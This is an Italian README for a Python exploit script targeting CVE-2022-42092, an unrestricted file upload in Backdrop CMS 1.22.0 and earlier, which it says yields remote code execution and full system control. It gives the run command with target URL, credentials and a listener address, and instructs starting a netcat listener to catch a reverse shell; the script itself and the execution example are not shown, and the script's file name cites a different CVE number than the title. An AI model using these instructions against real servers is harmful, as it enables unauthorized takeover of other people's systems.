CVE-2022-42092 Exploit Python

🔥 Descrizione

Questo script di exploit Python sfrutta un caricamento di file senza restrizioni in Backdrop CMS per ottenere un'esecuzione remota di codice (RCE).

⚠️ Versioni Affette

Versione 1.22.0 e versioni precedenti Nota: Backdrop CMS contesta ciò e sostiene che siano necessari permessi avanzati, motivo per cui potrebbe ancora essere presente nelle versioni successive alla 1.22.0. Immagino che intendano che sarebbe necessario avere prima accesso come amministratore. Comunque, è una vulnerabilità valida e può sicuramente essere sfruttata per ottenere il controllo completo del sistema.

⚙️ Utilizzo

python3 CVE-2022-42902.py <target_url> <username> <password> <listener_ip> <listener_port>

Importante: Avvia il tuo listener prima di eseguire lo script:

nc -lvnp <listener_port>

💻 Esempio di Esecuzione